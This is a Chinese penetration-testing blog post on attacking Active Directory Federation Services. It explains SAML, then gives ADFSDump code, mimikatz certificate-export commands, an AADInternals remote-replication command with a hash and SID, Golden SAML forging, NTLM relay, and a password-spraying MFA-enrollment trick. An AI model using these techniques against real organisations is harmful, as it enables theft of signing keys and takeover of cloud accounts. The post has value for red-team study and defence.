长亭百川云 - 文章详情

[新年特刊-年三十篇]域渗透-ADFS

Security丨Art

127

2024-07-13

ADFS

基于AD的SSO单点登录,一般出现时候都是搭配o365也就是AzureAD一起使用

因为一般而言,管理员通常会授予用户标准帐户在 AWS 或 Azure 等云环境中的高级管理权限,且ADFS在内网往往没有MFA认证(有黄金SAML的就可以忽略这点了),所以针对ADFS的攻击本质目的是建立一条从域权限到云权限的攻击路径

ADFSDUMP+ADFSPOOF

这里就要引入一个概念就是黄金SAML凭证,和金票据一样很强大的玩意,因为用户密码的修改并不会影响已生成的SAML,首先我们先来看下什么是SAML吧

SAML(Security Assertion Markup Language)是一种基于XML的开放标准,允许身份提供者 (IdP) 将授权凭证传递给服务提供者 (SP)。该行话的意思是您可以使用一组凭据登录许多不同的网站。与管理电子邮件、客户关系管理 (CRM) 软件、Active Directory 等的单独登录相比,管理每个用户一个登录要简单得多。身份验证信息将在两个组件之间传递:身份提供者(ADFS) 和服务提供者(Web 应用程序)。通过身份验证后用户会带着SAML验证信息重定向到服务提供者的/SamlResponseServlet接口完成身份验证
  1. 你去访问sp的某个受保护资源,比如浏览器打开: http://www.apc.com/resource1.aspx.

  2. sp发现你是新来的,没有认证信息。当然不能给你这个页面内容了。 他就会生成一个 saml的认证请求数据包(当然是saml格式的)。把这个请求放在一个html的form的一个隐藏的域中,把这个html form返回给你。 这个form后面有一句javascript自动提交这个form。 二而form的action地址就是 提前配置好的 idp上的一个地址。

    saml认证请求的数据包可能是这个样子的:

<samlp:AuthnRequest  
    xmlns:samlp\="urn:oasis:names:tc:SAML:2.0:protocol"  
    xmlns:saml\="urn:oasis:names:tc:SAML:2.0:assertion"  
    ID\="aaf23196-1773-2113-474a-fe114412ab72"  
    Version\="2.0"  
    IssueInstant\="2004-12-05T09:21:59"  
    AssertionConsumerServiceIndex\="0"  
    AttributeConsumingServiceIndex\="0"\>  
    <saml:Issuer\>https://sp.example.com/SAML2</saml:Issuer\>  
    <samlp:NameIDPolicy  
      AllowCreate\="true"  
      Format\="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/>  
  </samlp:AuthnRequest\>

而返回的html from内容大概设这个样子的:它包含了上面的数据包作为其中一个hidden的值

<form method\="post" action\="https://idp.example.org/SAML2/SSO/POST" ...\>  
    <input type\="hidden" name\="SAMLRequest" value\="<samlp:AuthnRequest>.......... </samlp:authnreques>" />  
    ... other input parameter....  
    <input type\="submit" value\="Submit" />  
  
</form\>  
  
<javascript\>  
document.form\[0\].submit();// 后面紧跟一句类似这样的提交代码.  
</javascript\>
  1. 上面的form会被javascript自动提交到idp的某个地址。

  2. idp也需要认证你, 于是返回给你一个认证的页面, 可能使用用户名密码认证,也可以使用ntlm认证等等一切可以认证你的方式。 因为idp保存有你的用户名和密码。

  3. idp在认证你之后。觉得你合法, 于是就为你生成一些断言, 证明你是谁,你有什么权限等等。 并用自己的私钥签名。 然后包装成一个response格式,放在form里返回给你。

<samlp:Response  
    xmlns:samlp\="urn:oasis:names:tc:SAML:2.0:protocol"  
    xmlns:saml\="urn:oasis:names:tc:SAML:2.0:assertion"  
    ID\="identifier\_2"  
    InResponseTo\="identifier\_1"  
    Version\="2.0"  
    IssueInstant\="2004-12-05T09:22:05"  
    Destination\="https://sp.example.com/SAML2/SSO/POST"\>  
    <saml:Issuer\>https://idp.example.org/SAML2</saml:Issuer\>  
    <samlp:Status\>  
      <samlp:StatusCode  
        Value\="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
    </samlp:Status\>  
    <saml:Assertion  
      xmlns:saml\="urn:oasis:names:tc:SAML:2.0:assertion"  
      ID\="identifier\_3"  
      Version\="2.0"  
      IssueInstant\="2004-12-05T09:22:05"\>  
      <saml:Issuer\>https://idp.example.org/SAML2</saml:Issuer\>  
      <!-- a POSTed assertion MUST be signed -->  
     ....................  
    </saml:Assertion\>  
  </samlp:Response\>

正如上面第2步一样,它也会把response包装在一个form里面返回给你,并自动提交给 sp的某个地址

form method="post" action="https://sp.example.com/SAML2/SSO/POST" ...>  
    <input type="hidden" name="SAMLResponse" value="<samlp:Response>.........</samlp:respons>" />  
    <input type="hidden" name="RelayState" value="''token''" />  
    ...  
    <input type="submit" value="Submit" />  
  </form>  
<javascript>  
document.form\[0\].submit();// 后面紧跟一句类似这样的提交代码.  
</javascript>
  1. 于是就到了第7步, 这个form被javascript自动提交到sp了。

  2. sp读到form提交上来的 断言。 并通过idp的公钥验证了断言的签名。 于是信任了断言。 知道你是idp的合法用户了。 所以就最终给你返回了你最初请求的页面了。 http://www.apc.com/resource1.aspx.

接下来明确一点,ADFS的身份信息数据不保存在ldap数据库中,而是WID(windows内置数据库)或远程 MS SQL 数据库中。所以我们需要ADFS服务账户的权限去进行访问

一般而言是拿到域控后Dsync获取ADFS账号hash,然后使用ADFS账户权限调用ADFSDUMP脱取数据库

从ADFSDUmp的源码我们可以看到,通过thumbnailphoto属性获取私钥

 public static void GetPrivKey(Dictionary<string,string\> arguments)  
        {  
            string domain \= "";  
            string server \= "";  
            string searchString \= "";  
            if(!arguments.ContainsKey("/domain"))  
            {  
                //no domain or server given, try to find it ourselves  
                domain \= System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name;  
                searchString \= "LDAP://";  
            }  
            else  
            {  
                if(arguments.ContainsKey("/domain"))  
                {  
                    domain \= arguments\["/domain"\];  
                }  
                if (arguments.ContainsKey("/server"))  
                {  
                    server \= arguments\["/server"\];  
                    searchString \= string.Format("LDAP://{0}/", server);  
                } else  
                {  
                    searchString \= "LDAP://";  
                }  
            }  
  
            Console.WriteLine("## Extracting Private Key from Active Directory Store");  
            Console.WriteLine($"\[-\] Domain is {domain}");  
            string\[\] domainParts \= domain.Split('.');  
            List<String\> searchBase \= new List<String\>{ "CN=ADFS", "CN=Microsoft", "CN=Program Data" };  
            foreach( string part in domainParts)  
            {  
                searchBase.Add($"DC={part}");  
            }  
  
            string ldap \= $"{searchString}{string.Join(",", searchBase.ToArray())}";  
  
            try  
            {  
                using (DirectoryEntry entry \= new DirectoryEntry(ldap))  
                {  
                    using (DirectorySearcher mySearcher \= new DirectorySearcher(entry))  
                    {  
                        mySearcher.Filter \= (LdapFilter);  
                        mySearcher.PropertiesToLoad.Add("thumbnailphoto");  
                        foreach (SearchResult resEnt in mySearcher.FindAll())  
                        {  
                            byte\[\] privateKey \= (byte\[\])resEnt.Properties\["thumbnailphoto"\]\[0\];  
                            string convertedPrivateKey \= BitConverter.ToString(privateKey);  
                            Console.WriteLine("\[-\] Private Key: {0}\\r\\n\\r\\n", convertedPrivateKey);

这个属性名称有点怪?因为在 VMware Identity Manager中这个属性真的是用来放照片链接的

然后连接到wid读数据库中的身份信息和pfx(加密签名密钥)

 public static class DatabaseReader  
    {  
        private const string WidConnectionString \= "Data Source=np:\\\\\\\\.\\\\pipe\\\\microsoft##wid\\\\tsql\\\\query;Integrated Security=True";  
        private const string WidConnectionStringLegacy \= "Data Source=np:\\\\\\\\.\\\\pipe\\\\MSSQL$MICROSOFT##SSEE\\\\sql\\\\query";  
        private const string ReadEncryptedPfxQuery \= "SELECT ServiceSettingsData from {0}.IdentityServerPolicy.ServiceSettings";  
        private static readonly string\[\] BuiltInScopes \= { "SelfScope", "ProxyTrustProvisionRelyingParty", "Device Registration Service", "UserInfo", "PRTUpdateRp", "Windows Hello - Certificate Provisioning Service", "urn:AppProxy:com" };  
        private const string ReadScopePolicies \= "SELECT SCOPES.ScopeId,SCOPES.Name,SCOPES.WSFederationPassiveEndpoint,SCOPES.Enabled,SCOPES.SignatureAlgorithm,SCOPES.EntityId,SCOPES.EncryptionCertificate,SCOPES.MustEncryptNameId, SCOPES.SamlResponseSignatureType, SCOPES.ParameterInterface, SAML.Binding, SAML.Location,POLICYTEMPLATE.name, POLICYTEMPLATE.PolicyMetadata, POLICYTEMPLATE.InterfaceVersion, SCOPEIDS.IdentityData FROM {0}.IdentityServerPolicy.Scopes SCOPES LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeAssertionConsumerServices SAML ON SCOPES.ScopeId = SAML.ScopeId LEFT OUTER JOIN {0}.IdentityServerPolicy.PolicyTemplates POLICYTEMPLATE ON SCOPES.PolicyTemplateId = POLICYTEMPLATE.PolicyTemplateId LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeIdentities SCOPEIDS ON SCOPES.ScopeId = SCOPEIDS.ScopeId";  
        private const string ReadScopePoliciesLegacy \= "SELECT SCOPES.ScopeId,SCOPES.Name,SCOPES.WSFederationPassiveEndpoint,SCOPES.Enabled,SCOPES.SignatureAlgorithm,SCOPES.EntityId,SCOPES.EncryptionCertificate,SCOPES.MustEncryptNameId,SCOPES.SamlResponseSignatureType, SAML.Binding, SAML.Location, SCOPEIDS.IdentityData FROM {0}.IdentityServerPolicy.Scopes SCOPES LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeAssertionConsumerServices SAML ON SCOPES.ScopeId = SAML.ScopeId LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeIdentities SCOPEIDS ON SCOPES.ScopeId = SCOPEIDS.ScopeId";  
        private const string ReadRules \= "Select SCOPE.ScopeId, SCOPE.name, POLICIES.PolicyData,POLICIES.PolicyType, POLICIES.PolicyUsage FROM {0}.IdentityServerPolicy.Scopes SCOPE INNER JOIN {0}.IdentityServerPolicy.ScopePolicies SCOPEPOLICIES ON SCOPE.ScopeId = SCOPEPOLICIES.ScopeId INNER JOIN {0}.IdentityServerPolicy.Policies POLICIES ON SCOPEPOLICIES.PolicyId = POLICIES.PolicyId";

之后就可以用ADFSpoof根据pfx、私钥、和用户信息生成身份验证SAML请求ADFS的SamlResponseServlet接口获取权限

ADFSDump:https://github.com/mandiant/ADFSDump/

ADFSpoof:https://github.com/mandiant/ADFSpoof

如果使用ADFSDump导出证书为空,可以使用mimikatz导出

mimikatz @crypto::certificates /systemstore:local\_machine /store:my

如果系统不支持使用CryptoAPI导出证书

可以使用mimikatz打capi补丁然后导出

mimikatz @crypto::capi  
crypto::certificates /systemstore:local\_machine /store:my /export

将 ADFSDump 中的证书值与mimikatz的证书的值进行比较来确定 ADFS 使用的是哪个证书

DSync-ADFS

对于远程mssql的数据库连接ADFSDump没有实现,不过我们可以用

https://github.com/Gerenios/AADInternals

就像针对ldap的数据库可以使用主从备份一样,我们也可以模拟ADFS的辅助数据库来同步数据,需要ADFS服务账户的密码/hash和guid

\# Export configuration remotely and store to variable  
$ADFSConfig \= Export-AADIntADFSConfiguration \-Hash "6e36047d34057fbb8a4e0ce8933c73cf" \-SID "S-1-5-21-1332519571-494820645-211741994-8710" \-Server sts.company.com

ADFS relay

ADFS 允许客户端通过 WIA 机制使用 NTLM 身份验证进行身份验证,认证流程和NTLM协议认证流程基本是一样的,客户端发起协商请求,服务端提供challage,然后客户端用用户密码加密过的认证信息去认证,服务端通过验证请求后发送身份cookie

WIA :集成 Windows 身份验证(NTLM 或 Windows NT 质询/响应验证)  
默认情况下,Windows集成身份验证 (WIA) 在 Windows Server Active Directory 联合身份验证服务 (AD FS) 中启用,以便在组织内部网络 (Intranet) 中为使用浏览器进行身份验证的任何应用程序启用身份验证请求。 例如,可以使用 WS-Federation 或 SAML 协议以及使用 OAuth 协议的丰富应用程序基于浏览器的应用程序。 WIA 为最终用户提供无缝登录应用程序,而无需手动输入其凭据。 但是,某些设备和浏览器无法支持 WIA,因此来自这些设备的身份验证请求会失败。 此外,某些与 NTLM 协商的浏览器上的经验是不可取的。 建议的方法是回退到此类设备和浏览器的基于表单的身份验证。  
  
Windows Server 2016 和 Windows Server 2012 R2 中的 AD FS 使管理员能够配置支持回退到基于表单的身份验证的用户代理列表。 可通过两种配置实现回退:  
  
commandlet 的 Set-ADFSPropertiesWIASupportedUserAgentStrings 属性  
commandlet 的 Set-AdfsGlobalAuthenticationPolicyWindowsIntegratedFallbackEnabled 属性  
WIASupportedUserAgentStrings 定义支持 WIA 的用户代理。 AD FS 在浏览器或浏览器控件中执行登录名时分析用户代理字符串。 如果用户代理字符串的组件与 WIASupportedUserAgentStrings 属性中配置的用户代理字符串的任何组件不匹配,则 AD FS 将回退到提供基于表单的身份验证,前提是 WindowsIntegratedFallbackEnabled 标志设置为 True。  
  
Set-AdfsGlobalAuthenticationPolicy -WindowsIntegratedFallbackEnabled $true  
  
可以将 Chrome 或其他用户代理添加到支持 WIA 的 AD FS 配置。 这样就可以无缝登录到应用程序,而无需在访问受 AD FS 保护的资源时手动输入凭据。 按照以下步骤在 Chrome 上启用 WIA:  
  
在 AD FS 配置中,在基于Windows的平台上为 Chrome 添加用户代理字符串:  
Set-AdfsProperties -WIASupportedUserAgents (Get-ADFSProperties | Select -ExpandProperty WIASupportedUserAgents) + "Mozilla/5.0 (Windows NT)"

ADFS relay攻击成功的前提是

  • 关闭EPA
epa就是微软官方提供的防止中间人攻击的安全机制,客户端-攻击者 TSL 通道的 CBT 与发送给服务器的授权信息合并。 识别 CBT 的服务器将客户端身份验证信息中所含的 CBT(与客户端-攻击者通道相对应)与附加到攻击者-服务器通道的 CBT 进行比较。 CBT 特定于通道目标,因此客户端-攻击者 CBT 与攻击者-服务器 CBT 不匹配。 这样,服务器就可检测 MITM 攻击并拒绝身份验证请求。  
服务器可以具有以下级别的保护:  
  
无。 不执行任何通道绑定验证。 这是所有尚未更新的服务器的行为。  
部分支持。 所有已更新的客户端必须向服务器提供通道绑定信息。 尚未更新的客户端无需执行此操作。 这是一个中间选项,可以实现应用程序兼容。  
已满。 所有客户端都必须提供通道绑定信息。 服务器拒绝来自不提供通道绑定信息的客户端的身份验证请求。

epa是默认开启的,所以一般需要adfs和验证服务器之间有流量转发设备(负载均衡、反向代理等)使管理员配置时关闭epa,达成以上两个条件后就可以启动中继脚本(https://github.com/praetorian-inc/ADFSRelay),抓取受害者身份验证时的cookie从而获取云控制台权限。

一个trick

ADFS有个很奇怪的地方,如果管理员开启MFA,但用户还没有设置验证邮箱或手机,那么用户账户在使用正确的账号密码登录后就不再需要管理员对用户设置的MFA信息做审核,用户账户可以直接添加任意认证信息只要收到验证码完成认证即可。也就是说我们可以对正常不会使用ADFS登录的AD域内机器账户或服务账户进行密码喷射,然后手动设置认证信息,即可完成域账号登录。同时遇到MFA也可以思考以下2个问题

  • 真的所有用户都开启了MFA策略吗?

  • 真的所有用户都完成了MFA的设置吗?

可以想一下管理员开启MFA时废弃账号、离职员工的账号真的清退干净了吗?服务账号有设置好权限吗?

参考文章

https://jamescoote.co.uk/ADSFDump-without-WID-and-with-nonexportable-certificates/

https://www.mandiant.com/resources/blog/abusing-replication-stealing-adfs-secrets-over-the-network

https://aadinternals.com/post/adfs/

https://nodauf.dev/p/practical-guide-for-golden-saml/

https://www.netwrix.com/golden\_saml\_attack.html

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2